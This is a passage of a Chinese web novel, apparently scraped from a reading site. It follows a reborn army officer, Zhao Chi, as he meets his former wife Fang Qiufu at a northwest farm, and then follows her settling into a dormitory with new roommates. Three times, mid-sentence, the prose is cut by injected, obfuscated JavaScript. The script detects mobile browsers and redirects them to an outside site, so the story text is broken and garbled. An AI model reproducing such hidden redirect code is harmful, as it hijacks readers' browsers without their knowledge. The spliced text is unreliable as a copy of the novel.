太瘦了。 身体看着也不好。 这下可难办了,给她安排个什么岗位才合适呢?得想想。 宿舍也得考虑一下…… 要不和玉儿一起? 他家那虎丫头自从离了家,就跟个进化了的山大王似的,虽说皮是皮了点,但是对于弱势的同龄人有种天然的保护欲望,总归是个心肠善良的孩子。 若是和他家闺女安排在一起,那丫头应该能罩一罩这个瘦弱的女孩,免得被人欺负。 有人的地方就会有纠葛,农场也不例外,他可不想日后闹出什么糟心事。 况且,这个叫方秋芙的女孩,方才一直没说话,连头都没偏过,有几分成熟的心性,或许还能反过来教他家闺女如何沉稳。 一举多得! 他简直是个天才! 孙主任一时间沉浸在自我欣赏中,忍不住给她多嘱咐了几句,“宿舍朝左边直行再右拐,走到尽头就是了,另外东西要收好,别弄丢了,可不兴补办的。” 方秋芙点头道谢,语气轻轻的,不像他家闺女那大嗓门。 孙主任眼神柔和下来,再次多嘴,“能找到路吗?” 他家那个丫头就是个大路痴,信里说了这周到农场正式报道,现在连个人影都没有,怕是还在山头爬树摘野果呢。 方秋芙正欲答话,赵驰不知道什么时候走了过来。 “刚好我要回驻地,顺路带他们走一趟吧,熟悉熟悉农场。” 孙主任没多想,点头,“也好,今天我就不送你了,后面还排队呢。” 三十多号人如何分派,喂牛、赶羊、种地……每个环节都是门学问,合适的人得放到合适的位置,他可不想明年的生产比拼又输给隔壁向阳农场。 “你们跟着赵营长走吧。”他朝着岑攸宁和方秋芙说。 “好。” 方秋芙拎起放在地上的皮箱,里面放着她的全部身家。 皮箱是她从沪市一路带过来的,黄铜包边,羊皮定制,箱面在风沙里扑了一层细蒙蒙的灰。 她也不在意。 抖了两下,就和岑攸宁一起朝着那位赵营长走去。 三人沿着林荫处行走。 孙主任签完下一位,望着他们远去的背影,微微皱眉。 走那条道,顺路吗? 空气中浮着槐树淡淡的清苦气息,若有若无。 赵驰在最前面,他走得不快不慢,指着离槐树林最近的一处单层小楼,“这是办公室,有什么需要帮助的,就来这里。” “嗯。” 赵驰注意到她手里的皮箱,下意识想替她接过行李,刚想开口,又意识到他现在只是个陌生人。 心脏短暂沉坠。 重来一次见到爱人,他很想问她现在身体好不好?头疼不疼?气顺不顺?一路上睡得好不好?有没有受委屈?有没有人欺负她?明明很想家却什么都不能问,肯定很委屈对不对…… 千言万语,却什么都不能说。 他咽下喉咙里源源不断冒出的酸涩,牵出一个初次见面的礼貌笑容,自我介绍。 “我叫赵驰。” 方秋芙下意识抬脸。 视野中,赵驰背对着槐树林,一双眼定定落在她脸上,俊目流盼,明亮又克制,无论怎么看都不像是初见之人的反应。 她的胸腔中涌出一股前所未有的异样。 他们认识吗? 怎么可能。 赵驰察觉到她的异样,误以为是对陌生人的防备。 他生出一种无力感,却又强行按捺下去,强颜欢笑,维持着初见应该有的体面,“我是旁边驻地一团的营长,附近几个农场的生产建设归我们管,青峰农场的粮食牛乳基本都是送往一团和二团。” “怪不得”方秋芙敛起眼眸,在脑子里过了一遍青峰农场与驻地的关系,继续道,“我叫方秋芙,他是……” “岑攸宁。”清朗男声响起。 岑攸宁与她并肩,答得精简,一个多余的字都没有。 赵驰自动忽略掉某人,继续问:“秋水芙蓉?” 方秋芙更加觉得奇怪。 她没想到这位素未谋面的赵营长会知道她名字的由来。 考虑到莫名的亲近感,她差点就接了话。 可她很快想起,出发前爸妈交代过,不要随便在别人面前提她会画画,更不要提家里的事情。 她顿了顿,换了个别的解释:“对,我是九月底出生的,那个季节的木芙蓉开得正好。” 赵驰听到心跳坠到深渊的咚咚声。 为什么她的解释和上一世不同? 他明明记得方秋芙告诉他,是因为她父母都很喜欢唐伯虎的那副《秋水芙蓉图》,希望她也能既有劈斧山石的坚韧沉静,又能有清潭芙蓉的艳丽勃然。 根本不是什么九月的木芙蓉。 赵驰试图甩去脑海中愈演愈烈的不甘和冲动。 他不能贸然去告诉她真相。 他能说什么?蓉蓉,我重生了,上辈子我们结过婚?他听了都想报警。 可为什么同样的问题,差别竟然如此之大? 他眼神不受控制地想要向方秋芙投去,又凭借意志力强行收敛。他的大脑飞快运转,很快找到一个合适的理由。 她没说真话,或许是他们只是初见。 第一次见面,有防备很正常。 嗯。一定是这样。 反而证明她很聪明。 他越想越觉得逻辑通顺,方才短暂的失态亦荡然无存,“芙蓉花马上也要开了,可惜农场没有。” 既然她提到了木芙蓉,应该也是喜欢吧? 他下次休假可以去苍川县的花卉市场找一找,买几盆回来,放在农场办公室的墙边,她看着欢喜就好。 方秋芙没接话。 她还在心里品味那股奇妙的感觉。 三人继续往前,沿着林荫路转了个弯,看见了另一栋简单的平房,门口有一排老式的镀锌水管。 “这里是水房,里面有澡堂,男左女右,热水时间要问一问,我不记得了。” 方秋芙觉得奇怪,“赵营长在这里住过吗?” 不然怎么连澡堂都知道。 赵驰才注意到说漏嘴,但依旧面不改色:“毕竟归我们驻地管理,热水要烧煤,了解细致些。” 驻地的借口很好用。 方秋芙没再问。 他继续又介绍了日常换配给的小卖部,食堂的开放时间,还有远处暂时看不见的农田、牧场以及仓库。 距离宿舍只有一百多米的距离了,赵驰想抓紧时间再和她说说话。 “是从沪市过来?” 方秋芙礼貌应答,“嗯,我们俩都是,赵营长是本地人?” 赵驰听她主动向自己发问,神情也跟着柔和下来,肩膀渐渐放松:“不算吧,我祖籍是山东的,母亲去得早,后来打仗我父亲牺牲了,算是他的几个战友们把我拉扯大。有一位就在西北驻地。两个月前我从军校毕业,他就问我想不想来这边,我反正对家乡没什么概念,就答应了。我平时就在驻地训练,有任务时会出外勤,最近应该都会在农场。” 方秋芙:“……” 西北人都这么热情? 她只是习惯了维持社交礼貌,随口问问,没想过他会说这么多,一时间不知道如何接话,眼神呆滞。 岑攸宁不动声色扫了她一眼,猜到她是卡壳,于是接过话茬,“那赵营长要负责管理我们农场?” 赵驰觉得他好烦,唇角绷紧,气场瞬间冷了下来,“不,只是关注而已,虽然在管辖范围内,但事项还是由场长负责。” 岑攸宁:“哦,原来如此。” 气氛莫名有些凝固。 好在他们已经走到了那砖块似的平房楼跟前,不需要再寒暄。 方秋芙再度开口,语气和刚才没太大差别,依旧礼貌妥贴。 “谢谢赵营长带路,原本还有些担心农场的生活,现下心安多了。” “没事。”他语气软下来,浅声提醒,“不用太担心别的,孙主任更看重生产。” 方秋芙若有所思。 赵驰停下脚步。 好不容易再次见到她,怎么这条路就这么短? 还有闲人插话。 好不甘心。 偏偏他现在还有不少事项需要去布局,只能等下次休息的时候再找机会过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698857|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她。 赵驰敛着眼眸,最后凝视了一眼方秋芙。树影浮动,一束光刚好落在她身上,很难不注意到她脸颊的异样。 “你鼻子上有灰。” 方秋芙:“啊?” 她胡乱在脸上抓了两把。 赵驰想要拿随身的方巾,却被旁边的岑攸宁抢先一步。 岑攸宁递过去一张帕子,她自然而然接过,没再看赵驰。 “鼻尖吗?”她望着岑攸宁。 岑攸宁点头:“对,中间。” 方秋芙拿着那张绛蓝色的方帕蹭了蹭鼻尖,擦得有些泛红。 赵驰想给他一拳。 他的视线悄然探向方秋芙身边的少年,从头到脚。 活了两世,这是他第一次近距离见到岑攸宁。 上辈子他翻到那几张素描时,暗暗安慰自己,那只是方秋芙作画时的笔触美化。 画嘛,假的。 假人怎么比得过真人? 可此时此刻他发现,原来方秋芙心心念念的岑攸宁,还真是个霁月光风,隽秀清朗的谦谦青年,罩在一身破布褴褛里,都那么刺眼。 给她递手帕。 还会弹钢琴。 一路还贴身照顾着她。 自幼相识,兴趣相投,灵魂伴侣,生死相交。 那棵古玉兰树恐怕就是他们郎骑竹马,折回的青梅花枝。 方秋芙都没给他画过像。 难道还不能说明什么吗? 赵驰忽然觉得上辈子那些安慰自己的借口很可笑。 他不得不正视他脑子里闪烁许久的那个问题——如果不是岑攸宁意外病逝,他和方秋芙之间还会有可能吗?答案让他心慌不已。 如果说死人他比不过,那岑攸宁活了,他还能赢吗? 空气有些粘稠。 他还是希望他能死了。 “那我们就先去宿舍报道了,谢谢赵营长的介绍。”岑攸宁礼貌应答,转身的刹那,汗毛竖起。 他撞上一双死死锁定他的黑眸,让人莫名背后一寒。 可那眼神只在他身上停了短短一瞬,便消失地荡然无存。 再抬首,赵驰脸上挂着温和的神色,并无异常。 岑攸宁总觉得,那股敌意,恐怕不是他的错觉。 两人往宿舍楼走去,与赵驰擦身而过,没有留念。 赵驰还伫立在原地。 他挂着温和的浅笑,扮演着热心领路人的角色,目送他们。 他看着岑攸宁接过她擦过的方帕,折起来放进兜里。 他看着岑攸宁伸手拎过她的皮箱,还指了指她手心。 他看着岑攸宁偏头说了什么,她先是一惊,眼睛瞪得大大的,又噗嗤笑了起来,笑得真切明媚。 她笑起来很好看。 在那棵玉兰树下,她也这样对岑攸宁笑过吗? 她在银杏树下眯眼的时候,想的究竟是谁呢? 赵驰低下头,他的掌心与虎口处布了几处枪茧,那是长期训练留下的印记,粗粝而坚硬。 他刚才注意到,岑攸宁有一双好看的手。 钢琴家的手。 赵驰凝神看向自己的手掌,左右上下,翻转不断。 是因为他没有那样修长干净的手吗?还是因为他不会弹钢琴? 夏风吹起,裹挟附近的树荫,落下几片青绿色的叶。 赵驰内心蓦然升腾,翻涌的血浪滚上太阳穴,将他拍醒。 他失控了。 嫉妒真是一把致命的利刃,兵不血刃,偏偏还能见血封喉。 不远处,岑攸宁还等在方秋芙的宿舍门口,像是在给她交代什么。 方秋芙一会儿点头,一会儿摇头,尔后才拎着箱子,进了屋。 岑攸宁转过身。 有些事,有些人,天生就能锁定彼此,心照不宣。 岑攸宁的眼神就这么再次撞上还在原地的赵驰。 他沉默了几秒,点了下头。 赵驰与他四目相对,同样点头。 岑攸宁进了屋。 赵驰最后望了一眼方秋芙的宿舍房门,想起她刚才的明媚,大步流星背身离开,嘴角挂着难掩的笑意。 原来十八岁的方秋芙是会笑的。 可二十一岁的蓉蓉连眼泪都很少。 不一样的。 这一次,一定会不一样的。 他想让她一直那样明媚。 至于其他人? 他抢过一次,再争一次又何妨。 5. 第 5 章 方秋芙往前走了近十步,宿舍楼的外表才渐渐清晰起来。 果然比她想象中要长得多。 这栋老平房一开始并非是奇葩的砖条形状。 它起初是一户八口之家的土坯民居,祖孙三代,左右两进卧室,中央是个堂屋。兵团定址后,那户人家搬走去了苍川县,换成了小楼房,还是两居室,面积小了些,但通电通水,比原先方便了不少。 起初这里是兵团驻地,那时的孙主任还在附近某个大队里搞马铃薯,农场还八字没一撇呢。 驻地建设自然归给了兵团自身,他们将原本的土坯房推掉,地基都没留,重新垒砖砌瓦,又找了两个手熟的呢子工,刷上淡土色的墙漆,盖上黑灰色的瓦片。 按原本的计划,这栋楼是想给一团的几个营队做宿舍的,于是就这么盖成了长条条的形状,方便后续管理。 然而刚通完电,工兵连那边来报,他们在距离此处八公里远的戈壁修电站的时候,发现不对,地表下面疑似是油田。 兵团赶紧停了工,从金城调来专家,首都地质大学也拨了两个教授坐火车来支援,浩浩荡荡几只队伍研究了大半月,确认下面确实有天然气和石油。 调查报告和文件递上去,又先后发来指示,短时间内技术不成熟,油田不能随便开采,但也不能就这么草率得搁在那里。 规划只能推翻重来。 兵团就这么驻扎在油田附近。 原本的地址则留了一部分改成了青峰农场,又增设了戈壁深处的向阳农场,保证粮食供给。 至于已经修了大半的宿舍,也就顺理成章归了青峰农场,用作他们社员的日常起居。 孙主任调岗过来时,瞧了一眼这栋平房,越看越满意。 模样怪是怪了点,但用料扎实且便于管理,真让他找施工队来修,还拿不出这么妥的成果呢! 也就由着去了。 方秋芙脚步不停,耳观鼻鼻观心,一直留意着周围。 从最边缘的“1号”,到她面前的“12号”,差不多走了七十多米,往后目测还有三四个房间。每间屋除了门口的标号牌,长得一模一样,整排统一型号、色号的门窗泛着同样淡蓝色的光。 看样子内屋面积不大,但其实算算宽度,也不算太窄。 两人停步在门口。 暗红色调的木门右侧,挂着一个黑板,记了住在“12号”宿舍的社员姓名,目前只写了三个人名。 方秋芙没回头,但她知道他在听,“我来得早了些,她们看样子是原来就住在这里的。” 岑攸宁将皮箱递给她,“看时间应该还在劳动,你先拿钥匙进屋,也收拾收拾,现在太晒了,晚点我来找你。” 方秋芙点头。 坐了一路车,她是真的累得没脾气了,早就想躺一会儿回回血。 她接过箱子,又确认了一遍:“你是在4号屋,对吧?” 他们一路过来时,发现除去最边上的小隔间,“1号”到“9号”门口的黑板写的都是男名。 奇怪的是,“10号”什么都没写,看样子也不像是住了人。 从“11号”开始,小黑板又有名字了,一瞧就是女孩名。 “嗯,毕竟男女有别,隔一间安排比较好,不过我们也没隔开太远。” 方秋芙松了口气。 人生地不熟,异地他乡能有个知根知底的岑攸宁,住处还搁得近,胸口的紧张感消散了大半。 方秋芙推了推他,“那你也赶紧去收拾吧,歇一歇,也和室友们认识一下,咱们还不一定要在这里住多久呢,以后就是家了。” 她过去身体不好,性子也给家里惯得娇纵了些,但她并非什么都不懂。如今吃了苦,又换了环境,没道理还拿之前那套脾气。 岑攸宁刚欲转身,又想起什么,回过头,抿了抿唇。 方秋芙敏锐注意到,“怎么了?” 他在挣扎要不要说。 但还是开了口,“……那个赵营长,我总觉得他不对劲。” 方秋芙想了想方才的接触,柳眉微蹙,“有吗?看起来挺热心肠的,话有点多,但瞧着一身正气,也读过书,不像咱们路上遇见的那种人。” 岑攸宁抬眼,又垂眸。 “不是……说不上来。” 方秋芙还是第一次见他露出如此复杂的神情,恍若如临大敌。 他们一路上吃过苦遭过罪,挨过白眼生过病,但岑攸宁始终都是那副岿然不动的神情,像尊佛似的,伫在方秋芙跟前。 他立在那儿,她的心也就定在那儿。天塌下来,有人陪着。 这还是他第一次坦言他的不安。 方秋芙笑了。 一个月了,她许久没有这样笑过。过去她是很爱笑的。 她拍了两下他的肩膀,笑出一排牙,“哈哈,原来攸宁你也是有情绪有表情的,我还以为你都变成无面鬼了。” 岑攸宁微愣,顿了几秒,也跟着笑了。 看着方秋芙扬起的笑眼,唇角总是会情不自禁随着动作。 是啊,他也以为。 方秋芙没看懂他眼里的潋滟,笑着把他推走,“既来之则安之,离开沪市的时候,你劝我的道理,现在还给你!我再多教你一个,兵来将挡水来土掩,来都来了,既然改变不了什么,那就先回去收拾吧,晚点见?” 岑攸宁还想交代什么。 方秋芙抢答,“不会耍脾气!但也不会吃亏!” 岑攸宁终于嗯了声,“好,那我走了。” 方秋芙没多废话,拎起她的皮箱,扭钥匙进屋。 合上门,她环绕四周。 屋内果然如她所料。 面积不大,但规整合宜。 迎面是一张长炕,上面铺了三床棉絮,被套并不一致,一套牡丹花两套牵牛,应该是另外三个室友的位置。 剩下的五个位置空荡荡的,面上只铺了一层薄薄的草席。 沿墙的方向又留了三十公分宽的台面,按照炕上的床位,从左到右摆了些日用品,梳子、头绳、袖套、针线,簇成三小堆。 墙边有两个成色不一的木架子,摆了几本旧书和报纸,剩余的位置也都放着脸盆、毛巾之类的。 孙主任没说规定了位置,那应该就是自己选。 方秋芙扫了一眼,选了靠窗户的那个,走近,放下行李。 这里采光好,能晒太阳。人嘛,只要还能晒太阳,总归心情不会太差! 她靠着炕边坐,犹豫挣扎了两秒,还是选择了朱妈会骂人的动作,像某种软体动物似的,滑溜溜躺了下去,背抵在硬硬的草席上,有点硬。 她望着天花板。 封闭的屋顶,加上背后实实在在的支撑,给人一种安全感。 方秋芙从小就是个乐观的性子。 东方红医院,那时还叫济慈医院的医生说,她的先心病以目前的医疗水平,手术开刀风险太大,不如精心养着,运气好虚弱些也能活个而立之年,运气不好,也算是尽了亲子缘分,让他们做好心理准备。 那段最虚弱的时间,她住在医院的单人病房,每天听见这个大人痛哭,看见那个大人憋泪,大概也猜到了情况。 所以她选择要畅快地活。 活一天,算一天,每一天都是赚到。 她拒绝了家庭教师,要求和岑攸宁一起去上学。她拒绝二十四小时陪护,拿上画笔就拖着方潮生去树下写生。 她还要看很多很多书,见很多很多人,经历很多很多新鲜事。 用朱妈的话来说,她是个投在病秧子身体里的小泼猴,闲不下来。 想起在家里的最后一次重病,季姮默默流泪,方潮生背后叹气,朱妈贴身照料,岑攸宁频繁探望,只有她是个怪咖,脸蛋烫得绯红,额汗浸湿枕套,眼睛都快看不清天花板了,还能傻笑着安慰众人。 “有这么多人爱我,已经值了。” 当然,肯定是又要挨一顿骂。 她嘴角微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698858|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微弯起来。 这里的天花板,没有家里的好看,但也能看。 宿舍瞧着老旧,内里却不破败,收拾得干干净净的,日后她不用挨风吹雨淋,也不会被突然赶出去,还要求什么呢。 她闭上眼睛。 脑海里闪过凌晨的匆匆告别,闪过卧室窗帘外白玉兰的味道,闪过朱妈亲手出炉的热乎乎包子,闪过她来不及装进行李的画具、闪过…… 她就这么仰着脸,在回忆里睡了一个浅觉。 静静的,不声不响。 也不知道隔了多久,她再度睁开眼,室内趋近昏暗。 方秋芙望着眼前陌生的房间,拍拍裤子坐起来。 从现在开始就是新的生活了。 她必须振作起来。 深呼一口气,方秋芙将皮箱平铺,轻轻用中指和拇指按了一下隐形锁扣,听到“咔”一声后,将其打开。 行李不是她自己收拾的,离开前就已经备好,一路上也没开过,连换洗衣服都是提前收在随身的软包裹里。 她还记得离开时,朱妈交代了她好长一串话,“赶路时就别开箱子了,皮革面的灰也别擦,免得遭贼惦记,箱子丢了事小,就怕人出事。随身的布包里面有大小姐留给你的东西,还给你放了十块钱零钞、硬币在系绳荷包里,贴身带!别丢了。另外还有一套换洗衣服,这趟路走得远,肯定中间要歇的,那个时候再换衣服,别像在家里一天一换。换下来的脏衣服,找到机会就去洗,皂角攸宁那里应该有。” 那时候,她只顾着哭,最后还是岑攸宁把她拉上了车。 方秋芙轻叹一声。 她不准备把箱子里的东西取出来,主要是心里有个数。 揣了一路,终于能看了。 皮箱打开,先是一堆杂物,有她从小用到大的檀木梳,发绳、发卡,还有凡士林、雪花膏和唇霜,剩下大部分都是她常吃的西药,上面还套着东方红医院的白色分装纸袋。 另一侧是衣物,里面有两套夏衣,一套米色的贴身衣和一件深灰色羊毛衫,看起来都是新做的衣服,她从来没穿过,也没印象。 夏衣都是短袖衬衣和长裤,没有裙子。 她摸了一把,一套是薄棉料,一套是粗纱布,花样都很朴素,没有暗纹绣花,简简单单的蓝色。 出来一个月,方秋芙已经明白了很多事,就比如这两套她以前看不出名堂的夏衣——薄棉料那套先别穿,粗纱布那套可以拿出来。 一路火车加卡车,周围人穿的都是这种粗糙的卡其纱布,她没道理穿着精裁的棉衫到处跑,只能和那件羊毛衫一起先放着了。 至于季姮给她留的东西…… 她伸手翻了翻,在夹层里摸到了一个凸起来的硬物,像金属,不大。 还没来记得打开确认,就在这时,房门口突然传来一阵女孩们嘻嘻哈哈的声音。 方秋芙快速将皮箱合上,踢到靠墙的一侧,装作刚从炕上下来。 门开了。 一个短发女孩走在最前面,还扭着脑袋给身后几人说着什么。 “只能下次等我再去县里的时候,帮你找找有没有那种夹子了”短发女孩回过神,看向方秋芙,愣了两秒,“……诶?” 身后的三个女孩前后脚进屋,也瞧见了独自在内的方秋芙。 “嗯?新来的吗?” “你忘了!昨天说的……” “哦~想起来了。” 方秋芙露出一个淡淡的微笑,朝她们轻轻点了下头。 看来这就是她的室友了。 她介绍完自己的名字,又礼貌说了两句初来乍到的官话,以为初见面就应该这样不咸不淡结束。 然而,她想错了。 走在最前面的短发女孩突然朝她加速跑过来,吓得方秋芙下意识往后退了半步。 紧接着,她就被人用双手托起脸,撞上一对黑葡萄似的眼睛,眼神里流露出天然的心疼。 “哎呀!你怎么这么瘦弱?” 6. 第 6 章 不知道是谁拉了下门口的灯绳,宿舍内的灯泡亮起白光。 在过去的几秒钟里,方秋芙脑子里把最好的、最坏的情况都过了遍,也没想过对方会是这般反应。 方秋芙瞪大眼睛,嘴唇动了动,无措地轻声吐出一个疑问音节,“嗯?” 怎么好像和她想象的农场宿舍不一样? 短发女孩立即松开手,紧张地将嘴唇崩成一条直线,一改刚才大胆的做派,试探询问,“弄疼你了吗?” 她是个急性子,还没等方秋芙吸气说话,又噼里啪啦盖了几句话过来,“对不起,对不起!我不是故意的,我这人下手没轻没重的,不会骨折吧……” 方秋芙:“……”那倒是也不会。 后面两个女孩偷笑起来,看来是了解她的一惯行事风格。 房间内原本紧绷的氛围荡然无存。 “哎呀!你们别笑我了,回头我爹知道了,肯定要说我像个土匪头子!” 短发女孩回头朝她们做了一个噤声的动作,然后转过头,又向方秋芙扯出一个她认为最友善的笑容,有点僵硬,但并不让人警惕,像草原上清澈的风。 “还没自我介绍呢,我叫孙玉,孙进步是我爹,名字是我娘取的,她说玉是好东西”她嗓门大,后半句话却只用自己才能听见的声音喃喃道,“不过我也没见过,可能也没多好……” 孙玉说完,主动拉着方秋芙坐在炕上,活脱脱像个青春版小凤姐,自顾自给她介绍起另外三位姑娘。 “以后我们五个人就是室友了,我年纪最大,今年20岁。”孙玉拍了拍自己的胸脯,一副很自信的模样,“你别看我和你一起报道,我其实比她们几个都要了解青峰农场,以前还在初建的时候就来过。” 她又指着三人中最高的那个姑娘,热情地给方秋芙介绍。 “她排咱们宿舍第二,叫李向华,她比我小半年,19岁了。” 李向华也是个短发,小麦色皮肤,看性格很腼腆,她小小声动了下唇,像猫叫似的说了句你好。 孙玉又指着另一个鹅蛋脸的姑娘,皮肤是里面最白最嫩的那个,她扎了两个麻花辫,特意垂在肩膀前。 “她排行老三,叫陈秀萍,和李向华差不多年纪。” 孙玉瞧见陈秀萍眼睛一转,像是翻了个白眼,似乎心中有些不高兴。她立即转过头,压低声音,悄声给方秋芙说了个秘密。 “秀萍脾气怪,你别招惹她,她最近忙着呢,不会乱来的。” 最后还有一个红扑扑脸蛋的姑娘,若是走近了仔细看,还能见到她脸上淡淡的小雀斑。 雀斑姑娘没等孙玉开口,就自己个儿凑过来,握住方秋芙的手,眨了眨眼。 “我叫刘翠兰,年初刚来报道,哦对,我今年18岁,之前是宿舍年纪最小的。” 孙玉抢过话,“你呢?秋秋,你多大?成年了吗?”她瞧方秋芙瘦胳膊细腿的,让人有些看不出年纪。 方秋芙闷了闷。 好热情。 西北人都这么热情吗? 不过她还是第一次听见有人这么称呼她,家里人都叫她的小名,蓉蓉。她瞧孙玉不像是个坏人,也不想拂人家面子,爱叫什么就叫什么吧。 方秋芙:“我今年也是18。” 刘翠兰一听和自己一样大,更觉两人亲近了些,又问,“你是几月的?你应该比我小,我是腊月。” 方秋芙:“我是九月。” 刘翠兰乐呵呵笑起来,“那按我老家的算法,你现在才十七岁呢!要等生日过后,你才能算十八,所以以后你就是小妹了,我、我也会照顾你的。” 刘翠兰很兴奋,自己终于不是宿舍最小的妹妹,也能过一把姐姐瘾了! 孙玉没好气道,“得了吧!还照顾别人?你也还是个连被子都叠不明白的臭屁小孩。” 几人又聊了聊彼此的生日月,重新理了遍年龄顺序,又聊了聊家乡,发现除了孙玉,她们都是苍川附近山村出生的原著民。 期间,刘翠兰始终盯着方秋芙。 方秋芙感觉到目光,偏头看她,没说话,无声询问。 刘翠兰咬了下嘴唇,才有些不好意思道,“你……你的发绳真好看。” 方秋芙愣了愣,低头看向她的单侧麻花辫,上面绑着一根艳红色的橡皮筋,是她离家随便抓的,比市面上常见的要粗一些。 “你喜欢吗?我还有新的,送你一根,质量挺好的。” “真的吗?谢谢!” 孙玉一下就不乐意了,蹙紧眉头。她长了双凤眼,脾气一上来特别明显,众人都发现了她不开心。 方秋芙也跟着一惊。 是因为她只送了刘翠兰皮筋?还是什么她不知道的社交规则?其实她还有不少,一人送一根也不是什么麻烦事。 她怕的是初来乍到,就把宿舍的霸王花给得罪了,那以后的日子恐怕不好过。 正欲开口,坐在身侧的孙玉“蹭”的一下就站起来。 她眉毛还扭在一起,语气比刚才扬了三个度,“不行!哪里有新人刚到就给我们送礼物的?咱们可不能不劳而获啊,那是欺负人!” 刘翠兰赶紧解释,“不、不是这个意思,那个、小方同志……我送你两颗我带来的大别针,可以改衣服。” 农场领到的衣物都是均码,大多是按照厂里女工人的标准尺寸打样,对她们这群刚成年的女孩们来说,大多不太合身,有些偏大。 一颗质量好的别针就很实用,毕竟去城里借缝纫机也不是每回都能有的机会,更别说找裁缝改有多贵。 方秋芙懵了。 孙玉却很认真。 在她的见证下,刘翠兰还真的拿了两颗有手掌那么宽的大别针来换。 刘翠兰得了艳红色皮筋,放在手里忍不住搓了两下,笑得眼睛眯起来,是发自内心的高兴,“谢谢,真好看。” 方秋芙想着不能厚此薄彼,反正也从布包里拿了出来,就顺势递给了李向华和孙玉。 “谢谢”李向华还是一如既往的话少,直接用行动表示,她递给方秋芙一个薄薄的新本子,“我识字不多,拿着没用,换给你吧。” 孙玉也很开心。她从随身的包里胡乱摸了一通,像抓百宝袋似的,摸了几颗柠檬糖出来,放在方秋芙手心。 “甜的,好吃。” 轮到陈秀萍时,她却“哼”了一声,由着方秋芙伸手递皮筋,却不去接。 陈秀萍不想告诉大家,她心里不喜欢方秋芙。生得那样水灵,又白又俏,一来就占了众人的目光,让她有些嫉妒。 更何况那艳红头绳别的姑娘都有,又不是单给她一个人。 她才不要挑剩的玩意。 “我不要。” 陈秀萍甩下一句话,回了自己的床铺,从枕头下面拿了个鞋垫出来,继续埋头绣花样。 方秋芙倒不觉得尴尬。 众人似乎也习惯了陈秀萍的小脾气,朝她摇摇头。 方秋芙默默将那一版红皮筋收回了布包里,推回自己空荡荡的床位。 “走吧?”孙玉冷不丁来句。 方秋芙对这朵霸王花的快节奏还是不太习惯,问:“走哪?” “领被子啊!你今晚就准备这么睡?”孙玉指着她空空如也的床位。 方秋芙这才意识到她是想替自己带路,点了下头,跟上脚步。 屋里另外三人刚从农场下工,累得根本不想动,只想赶紧去水房洗澡,便只有她和孙玉两人同行。 踏出门,已近黄昏。 宿舍楼前并没有遮挡物,目光所及之处,唯有远山与草原,霞光吞噬云天,镶上一层暖橘色,像一节缓缓流动的绸缎。 方秋芙仰头,感慨了一句,真漂亮。 漂亮的景物总是让人觉得舒心。 方秋芙对苍川县又生出一丝好感。 刚迈出一只脚,她猛然想起了什么,“等等,我写个名字。” 方秋芙找了一圈,在隔壁“13号”的外墙下找到一只白色粉笔,拾起,回到门牌黑板,一笔一划写上。 “方”、“秋”、“芙” 划完最后一捺,方秋芙盯了黑板好几秒。三个利落的白字,再次提醒她,这里就是她的新家了。 “你写字真好看!能不能帮我也写一下,孙是……诶?我的名字也能这么好看啊?秋秋,你简直是我见过最聪明的人。” 孙玉看她的眼神又添了几分天真的崇拜。 方秋芙画上最后一点,回过头拍了拍手,掌心落下飞散的白灰,她道,“你再这么夸,我尾巴怕是要翘上天了。” 孙玉很坦然。 不怪她没见识,主要是每次孙进步让她写字练字,她就发困,写出来的玩意,仓颉都认不出来。 孙玉这个人很简单,她信奉合适的人做合适的事。 比如眼前,方秋芙就适合给她代笔,她就适合给小美女开路。 “夸就夸呗,我乐意!这是你的特长!”她语气理所当然。 两人很快路过“4号”宿舍。 方秋芙看了一眼门口的黑板,果然一眼就找到了岑攸宁的名字,他收敛了笔锋,写了一手方方正正的宋体。 “孙同志……”她偏过头。 孙玉拍了一下她的肩膀,“你别那么见外,就管我叫玉姐、小玉、玉儿,反正你随便,昵称而已”她几乎能摸到方秋芙窄瘦的骨头,“怎么这么瘦啊,你原来在家里不吃饭的吗?” “吃得少。”方秋芙答,主要是病了就没胃口。 孙玉看她的眼神更可怜了,还收敛了手中力气,生怕一个不小心,给方秋芙拍碎了。 两人还站在“4号”宿舍前。 方秋芙指了指黑板,“我还有个……朋友,也是一起从沪市过来的,他应该也没领生活用品,我想问问他要不要一起,你介不介意?” 孙玉压根没仔细听她的解释,还在想刚才摸到的肩胛骨,埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698859|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脑袋回复:“行,那一起呗。” 方秋芙点头,叩响房门。 屋内传来一阵窸窸窣窣。 声音越来越近,她听见吵闹与嬉戏,还有混乱的脚步声。 听起来不止一个人。 来开门的是一个精壮的青年。 